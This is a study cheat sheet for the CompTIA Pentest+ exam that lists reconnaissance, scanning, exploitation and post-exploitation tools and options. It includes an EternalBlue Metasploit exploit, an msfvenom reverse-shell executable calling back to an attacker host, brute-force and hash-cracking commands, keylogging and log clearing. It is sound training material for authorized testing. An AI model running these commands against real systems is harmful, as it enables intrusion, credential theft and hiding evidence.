Pentest+ Cheat Sheet - Study Guide

Contents

[I. Planning and Scoping 3](#_Toc191554734)

[Concepts: 3](#_Toc191554735)

[Tools/Commands (Initial Recon & Documentation): 3](#_Toc191554736)

[II. Information Gathering (Reconnaissance) 3](#_Toc191554737)

[Concepts: 3](#_Toc191554738)

[Tools/Commands: 3](#_Toc191554739)

[III. Vulnerability Scanning 6](#_Toc191554740)

[Concepts: 6](#_Toc191554741)

[Tools/Commands: 6](#_Toc191554742)

[IV. Exploitation 7](#_Toc191554743)

[Concepts: 7](#_Toc191554744)

[Tools/Commands (Primarily Metasploit): 8](#_Toc191554745)

[V. Post-Exploitation 10](#_Toc191554746)

[Concepts: 10](#_Toc191554747)

[Tools/Commands (Often within Meterpreter/Shell Sessions): 10](#_Toc191554748)

[Privilege Escalation: 10](#_Toc191554749)

[Persistence: 10](#_Toc191554750)

[Lateral Movement: 11](#_Toc191554751)

[Data Exfiltration: 11](#_Toc191554752)

[Covering Tracks (Ethical Considerations!): 11](#_Toc191554753)

[VI. Reporting and Communication 11](#_Toc191554754)

[Concepts: 11](#_Toc191554755)

[Tools/Templates: 12](#_Toc191554756)

[VII. Tools and Technologies (General Categories) 12](#_Toc191554757)

[VIII. Important Concepts/Terminology 12](#_Toc191554758)

[IX. Tips for Using This Cheat Sheet for Study: 12](#_Toc191554759)

Important Note: This is a cheat sheet for study and quick reference. It's not a substitute for comprehensive study of the Pentest+ objectives, hands-on practice, and understanding the underlying concepts. Use this to reinforce your knowledge and for quick look-ups during your study sessions.

# I. Planning and Scoping

## Concepts:

* **Scope of Work (SOW):** Define boundaries, systems, objectives.
* **Rules of Engagement (ROE):** Legal and ethical guidelines, permissions.
* **Penetration Testing Types:** Black Box, White Box, Gray Box.
* **Compliance & Regulations:** PCI DSS, HIPAA, GDPR, etc. (awareness of relevant regulations is key).
* **Threat Modeling:** Identify potential threats, vulnerabilities, and attack vectors.
* **Risk Assessment:** Evaluate likelihood and impact of identified risks.

## Tools/Commands (Initial Recon & Documentation):

* **whois <domain>:** Domain registration information.
* **dig <domain> <type>:** DNS lookup (A, MX, NS, TXT, etc.).
  + +trace: Trace DNS resolution path.
  + +short: Concise output.
* **nslookup <domain>:** Another DNS lookup tool.
* **host <domain>:** Similar to nslookup.
* **traceroute <domain/IP> (or tracert on Windows):** Network path discovery.
* **pathping <domain/IP> (Windows):** Combines ping and traceroute for loss analysis.
* **Documentation Tools:** Note-taking apps, spreadsheets (for asset tracking, findings), reporting templates.

# II. Information Gathering (Reconnaissance)

## Concepts:

* **Active Reconnaissance:** Direct interaction with target systems (scanning, probing).
* **Passive Reconnaissance:** Gathering information without direct interaction (OSINT).
* **OSINT (Open Source Intelligence):** Publicly available information gathering.
* **Service Discovery:** Identifying open ports and running services.
* **Operating System Detection:** Identifying target OS.
* **Application Fingerprinting:** Identifying web server and application versions.

## Tools/Commands:

* **nmap (Network Mapper):** *Core tool for network scanning and host discovery.*
  + **Scan Types:**
    - -sS (SYN scan - stealthy, default for root)
    - -sT (TCP connect scan - reliable, non-stealthy)
    - -sU (UDP scan)
    - -sY (SCTP INIT scan)
    - -sN, -sF, -sX (Null, FIN, Xmas scans - stealthy, bypass firewalls in some cases)
    - -sA (ACK scan - determine firewall rulesets)
    - -sW (Window scan)
    - -sM (MAIMON scan)
  + **Host Discovery:**
    - -sn (Ping scan - host discovery only, no port scan)
    - -PE, -PS, -PU, -PA, -PM, -PP, -PT (Different ping types for host discovery)
  + **Service and Version Detection:**
    - -sV (Service version detection)
  + **OS Detection:**
    - -O (OS detection)
  + **Port Specification:**
    - -p <ports> (e.g., -p22,80,443, -p 1-65535, -p U:53,T:21-25,80)
  + **Timing and Performance:**
    - -T<0-5> (Timing templates - Paranoid, Sneaky, Polite, Normal, Aggressive, Insane)
  + **Scripting Engine (NSE - Nmap Scripting Engine):**
    - --script <script> (e.g., --script vuln, --script http-enum, --script smb-vuln)
    - --script default,safe (Run default and safe scripts)
    - --script <category> (e.g., --script discovery, --script exploit)
  + **Output Options:**
    - -oN <filename> (Normal output)
    - -oG <filename> (Grepable output)
    - -oX <filename> (XML output)
    - -oA <basename> (Output in all formats - Normal, XML, Grepable)
    - -iL <input\_file> (Input from list of hosts/networks)
* **masscan:** *High-speed port scanner, faster than nmap for large ranges but less feature-rich.*
* masscan <target range> -p <ports> --rate <pps> (e.g., masscan 192.168.0.0/16 -p1-65535 --rate 10000)
* **dig, nslookup, host (again):** For deeper DNS enumeration beyond basic lookups (e.g., zone transfers - though less common, awareness is good).
* **whois (again):** For deeper domain information, registrant details, etc.
* **theHarvester:** *OSINT tool for gathering emails, subdomains, hosts, employee names, etc.*
  + theharvester -d <domain> -l <limit> -b <source> (e.g., theharvester -d example.com -l 50 -b google)
    - -b <source> (Specify search engine/source: google, bing, baidu, linkedin, twitter, etc.)
* **recon-ng:** *Powerful reconnaissance framework with modules for various OSINT tasks.*
  + use recon/domains-contacts/whois\_pocs
  + use recon/domains-hosts/bing\_domain\_web
  + marketplace install all (Install all modules)
  + show modules
* **gobuster / dirb / dirbuster:** *Web directory and file brute-forcing tools.*
  + gobuster dir -u <URL> -w <wordlist> (e.g., gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt)
    - -u <URL> (Target URL)
    - -w <wordlist> (Wordlist path)
    - -x <extensions> (File extensions to look for, e.g., -x php,html,txt)
    - -s <status codes> (Filter status codes, e.g., -s 200,301,302)
* **nikto:** *Web server vulnerability scanner.*
  + nikto -h <URL> (e.g., nikto -h http://example.com)
  + -host <URL> (Target URL)
  + -p <port> (Specify port if not default 80/443)
  + -ssl (Force SSL)
  + -Plugins <plugin list> (Specify plugins to run, e.g., -Plugins cgi,tests)
* **whatweb:** *Web application fingerprinting.*
  + whatweb <URL> (e.g., whatweb http://example.com)
* **Browser Developer Tools:** (Inspect source code, network traffic, cookies, storage).
* **curl / wget:** *Web request utilities for fetching content and inspecting headers.*
  + curl -I <URL> (Get headers only)
  + curl -v <URL> (Verbose output, including request and response headers)
  + wget <URL> (Download web page)
* **Social Media Recon:** (LinkedIn, Twitter, Facebook, etc. - manual OSINT).
* **Code Repositories (GitHub, GitLab):** (Look for exposed credentials, API keys, sensitive information).

# III. Vulnerability Scanning

## Concepts:

* **Vulnerability Scanners:** Automated tools to identify known vulnerabilities.
* **Authenticated vs. Unauthenticated Scans:** Credentials provided or not.
* **False Positives/Negatives:** Scanner accuracy limitations.
* **CVSS (Common Vulnerability Scoring System):** Understanding vulnerability severity scoring.

## Tools/Commands:

* **Nessus (Commercial, but has a free "Home" version):** *Industry-leading vulnerability scanner.*
  + GUI-based, but also has nessuscli command-line interface.
  + Plugins for various vulnerability checks.
  + Reporting and vulnerability management features.
* **OpenVAS (Open Vulnerability Assessment System):** *Open-source vulnerability scanner, often considered a free alternative to Nessus.*
  + Web interface, command-line interface (openvas-cli).
  + Plugins based on Network Vulnerability Tests (NVTs).
* **OWASP ZAP (Zed Attack Proxy):** *Free, open-source web application vulnerability scanner and proxy.*
  + GUI-based, but also has command-line options.
  + Active and passive scanning modes.
  + Proxy functionality for intercepting and modifying web traffic.
  + Spider for web application crawling.
  + Fuzzer for input validation testing.
* **sqlmap:** *Automated SQL injection tool.*
  + sqlmap -u <URL> (e.g., sqlmap -u "http://example.com/vuln.php?id=1")
    - -u <URL> (Vulnerable URL)
    - --forms (Test forms for SQL injection)
    - --dbs (Enumerate databases)
    - --tables (Enumerate tables)
    - --columns (Enumerate columns)
    - --dump (Dump table data)
    - --os-shell (Get OS shell if possible)
    - --dbms <DBMS> (Specify database management system if known)
    - --level <level> (Level of tests to perform - 1-5)
    - --risk <risk> (Risk of tests to perform - 1-3)
* **wpscan:** *WordPress vulnerability scanner.*
  + wpscan --url <URL> (e.g., wpscan --url http://example.com)
    - --enumerate u,p,t,th,cb (Enumerate users, plugins, themes, timthumbs, config backups)
    - --api-token <WPScan API token> (For enhanced scanning and vulnerability database)
* **hydra / medusa:** *Brute-force login crackers (can be used for vulnerability scanning in certain contexts - weak credentials are a vulnerability).*
  + hydra -l <username> -P <password\_list> <service>://<target> (e.g., hydra -l admin -P passwords.txt ssh://192.168.1.100)
    - -L <usernames\_list>, -l <username> (Usernames)
    - -P <passwords\_list>, -p <password> (Passwords)
    - <service> (Service to brute-force: ssh, ftp, rdp, http-get, http-post-form, etc.)
    - <target> (Target IP or hostname)

# IV. Exploitation

## Concepts:

* **Exploit Frameworks:** Metasploit, etc.
* **Exploit Modules:** Pre-built exploits for specific vulnerabilities.
* **Payloads:** Code to be executed on the target system (e.g., reverse shell, meterpreter).
* **Listeners:** To receive connections from reverse shells.
* **Post-Exploitation:** Actions after gaining initial access (privilege escalation, persistence, lateral movement).
* **Types of Exploits:** Buffer overflows, web application vulnerabilities (SQLi, XSS, command injection, etc.), privilege escalation exploits, client-side exploits.

## Tools/Commands (Primarily Metasploit):

* **Metasploit Framework (msfconsole):** *The leading exploit framework.*
  + **msfconsole:** Start the Metasploit console.
    - **search <keyword>:** Search for exploits, payloads, modules. (e.g., search smb exploit)
    - **use <exploit/module>:** Select an exploit or module. (e.g., use exploit/windows/smb/ms17\_010\_eternalblue)
    - **show options:** Display options for the selected module.
    - **set <option> <value>:** Set module options. (e.g., set RHOST 192.168.1.100, set LHOST <your\_IP>)
    - **show payloads:** Display available payloads for the selected exploit.
    - **set PAYLOAD <payload>:** Set the payload. (e.g., set PAYLOAD windows/x64/meterpreter/reverse\_tcp)
    - **exploit or run:** Execute the exploit.
    - **sessions:** List active sessions.
    - **sessions -i <session\_id>:** Interact with a specific session (e.g., sessions -i 1)
    - **background:** Background the current session.
    - **meterpreter commands (once in a Meterpreter session):**
      * help (Meterpreter command help)
      * sysinfo (System information)
      * ipconfig (Network configuration)
      * getuid (Get user ID)
      * pwd (Print working directory)
      * cd <directory> (Change directory)
      * ls (List directory contents)
      * download <remote\_file> <local\_file> (Download files)
      * upload <local\_file> <remote\_file> (Upload files)
      * screenshot (Take screenshot)
      * keyscan\_start, keyscan\_dump, keyscan\_stop (Keylogging)
      * hashdump (Dump password hashes)
      * migrate <PID> (Migrate Meterpreter to another process for stability)
      * getsystem (Attempt to escalate privileges to SYSTEM)
      * run post/windows/gather/checkvm (Check if running in a VM)
      * portfwd add -l <local\_port> -p <remote\_port> -r <remote\_host> (Port forwarding)
      * route add <network> <netmask> <session> (Routing through the compromised host)
      * shell (Drop to a system shell)
      * exit (Exit Meterpreter session)
    - **auxiliary modules:** (Scanners, gatherers, etc.)
      * use auxiliary/scanner/smb/smb\_ms17\_010 (SMB MS17-010 scanner)
  + **Web Exploitation:**
    - **Burp Suite (Community Edition is free):** *Web proxy and testing suite. Used for manual exploitation, intercepting requests, and more.*
      * Repeater (Manual request modification and re-sending)
      * Intruder (Fuzzing and brute-forcing)
      * Scanner (Automated web vulnerability scanning - Pro version)
    - **Manual exploitation:** (Understanding web vulnerabilities like SQLi, XSS, command injection, and exploiting them manually through the browser or tools like curl).
  + **Password Cracking (if applicable in scope):**
    - **John the Ripper (John):**
      * john <hash\_file> (Crack hashes)
      * --wordlist=<wordlist> (Specify wordlist)
      * --format=<hash\_type> (Specify hash format if known)
    - **Hashcat:** *More advanced GPU-accelerated password cracker.*
      * hashcat -m <hash\_type> <hash\_file> <wordlist> (e.g., hashcat -m 0 hash.txt rockyou.txt)
      * -m <hash\_type> (Hash type mode number)
      * -a <attack\_mode> (Attack mode: straight, combinator, brute-force, etc.)
      * -o <output\_file> (Output cracked passwords to file)
    - **Online Password Cracking Services:** (Be cautious, use for testing only, never for real engagements without explicit permission).
  + **Wireless Exploitation (if in scope):**
    - **Aircrack-ng suite:**
      * airmon-ng start <interface> (Enable monitor mode on wireless interface)
      * airodump-ng <monitor\_interface> (Capture wireless traffic and access points)
      * aireplay-ng -0 1 -a <AP\_BSSID> -c <client\_MAC> <monitor\_interface> (Deauthentication attack)
      * aircrack-ng <capture\_file.cap> -w <wordlist> (Crack WPA/WPA2 passwords)
    - **Wifite:** *Automated wireless attack tool that uses Aircrack-ng.*

# V. Post-Exploitation

## Concepts:

* **Privilege Escalation:** Gaining higher-level access (user to admin/root).
* **Persistence:** Maintaining access after system reboots.
* **Lateral Movement:** Moving to other systems within the network.
* **Data Exfiltration:** Copying sensitive data.
* **Covering Tracks:** Removing evidence of intrusion (logging manipulation, etc. - ethical considerations are paramount).
* **Pivoting:** Using a compromised system to attack other internal systems.

## Tools/Commands (Often within Meterpreter/Shell Sessions):

### Privilege Escalation:

* **getsystem (Meterpreter):** Attempt automated privilege escalation.
* **exploit/windows/local/ms10\_015\_kitrap0d (Metasploit - example local exploit):** Search for and use local exploit modules.
* **run post/multi/recon/local\_exploit\_suggester (Meterpreter):** Suggest local privilege escalation exploits.
* **Manual checks:** OS version, kernel version, running services, permissions, misconfigurations.
* **Common Windows Privilege Escalation Tactics:** Weak service permissions, unquoted service paths, always-install-elevated MSI, kernel exploits, DLL hijacking, scheduled tasks, etc.
* **Common Linux Privilege Escalation Tactics:** Kernel exploits, SUID/GUID binaries, vulnerable services, misconfigurations, world-writable files, cron jobs, etc.

### Persistence:

* **run persistence (Meterpreter):** Install persistence mechanisms (e.g., service, registry, scheduled task).
* **msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<your\_IP> LPORT=<your\_port> -f exe -o persistence.exe:** Generate a persistent executable manually.
* **Backdoors:** Netcat backdoors, custom scripts, etc. (ethical use and removal are critical).

### Lateral Movement:

* **run autoroute -s <subnet> (Meterpreter):** Add route for pivoting through the compromised host.
* **portfwd (Meterpreter):** Port forwarding to access internal services.
* **ssh, psexec (within compromised shell):** Connect to other systems using discovered credentials or vulnerabilities.
* **smbclient (within compromised shell):** Access SMB shares on internal systems.
* **crackmapexec:** *Post-exploitation tool for Windows environments, automating tasks like enumeration, credential gathering, and execution.*
  + crackmapexec smb <target> -u <user> -p <password> -M <module> (e.g., crackmapexec smb 192.168.1.0/24 -u administrator -p Password123 -M psexec)

### Data Exfiltration:

* **download (Meterpreter):** Download files via Meterpreter session.
* **scp, pscp (secure copy):** Securely copy files over SSH/SCP.
* **ftp, tftp (if available):** File transfer protocols.
* **web servers:** Set up a temporary web server to host exfiltrated data for download.

### Covering Tracks (Ethical Considerations!):

* **clearev (Meterpreter):** Clear event logs (use with extreme caution, and *only* if explicitly within ROE and ethical boundaries).
* **timestomp:** Modify file timestamps.
* **Log manipulation:** (Directly editing log files - highly unethical in most pentesting scenarios unless specifically authorized for a red team exercise).

# VI. Reporting and Communication

## Concepts:

* **Pentest Report Structure:** Executive Summary, Scope, Methodology, Findings, Recommendations, Conclusion.
* **Severity Levels:** Critical, High, Medium, Low, Informational.
* **Risk vs. Vulnerability:** Understanding the difference.
* **Remediation Recommendations:** Practical steps to fix vulnerabilities.
* **Communication Channels:** Email, phone, in-person meetings, report presentations.
* **Audience Awareness:** Tailoring reports to technical vs. non-technical audiences.

## Tools/Templates:

* **Reporting Templates:** (Many free templates available online - search for "pentest report template").
* **Document Editors:** Word processors for report writing.
* **Spreadsheets:** For vulnerability tracking and data organization.
* **Presentation Software:** For presenting findings to stakeholders.

# VII. Tools and Technologies (General Categories)

* **Operating Systems:** Linux (Kali Linux, Parrot OS), Windows.
* **Virtualization:** VMware, VirtualBox.
* **Networking Tools:** Wireshark, tcpdump, Network scanners (nmap, masscan), Netcat.
* **Web Proxies:** Burp Suite, OWASP ZAP.
* **Vulnerability Scanners:** Nessus, OpenVAS, Nikto, sqlmap, wpscan.
* **Exploit Frameworks:** Metasploit.
* **Password Crackers:** John the Ripper, Hashcat.
* **Wireless Tools:** Aircrack-ng suite.
* **Reporting Tools:** Document editors, spreadsheet software.
* **Scripting Languages:** Python, Bash, PowerShell (useful for automation and custom tools).

# VIII. Important Concepts/Terminology

* **CIA Triad:** Confidentiality, Integrity, Availability.
* **Authentication, Authorization, Accounting (AAA).**
* **Least Privilege.**
* **Defense in Depth.**
* **OWASP Top Ten:** Common web application vulnerabilities.
* **MITRE ATT&CK Framework:** Knowledge base of adversary tactics and techniques.
* **Cyber Kill Chain:** Stages of a cyber attack.
* **Diamond Model of Intrusion Analysis.**

# IX. Tips for Using This Cheat Sheet for Study:

* **Hands-on Practice:** The cheat sheet is most effective when combined with hands-on practice in a lab environment (virtual machines).
* **Command Examples:** Understand the *purpose* of each command and option, not just memorization.
* **Scenario-Based Learning:** Think about how you would use these tools in different pentesting scenarios.
* **Review Official Objectives:** Always refer back to the official CompTIA Pentest+ exam objectives to ensure you're covering all the necessary areas.
* **Practice Exams:** Take practice exams to assess your knowledge and identify areas for improvement.
* **Customize It:** Add your own notes, commands, and reminders to this cheat sheet as you study.

Disclaimer: This cheat sheet is intended as a study aid and quick reference. It is not exhaustive and passing the Pentest+ exam requires comprehensive study and hands-on experience. CompTIA Pentest+ is a registered trademark of CompTIA. This is not endorsed by, nor affiliated with, CompTIA.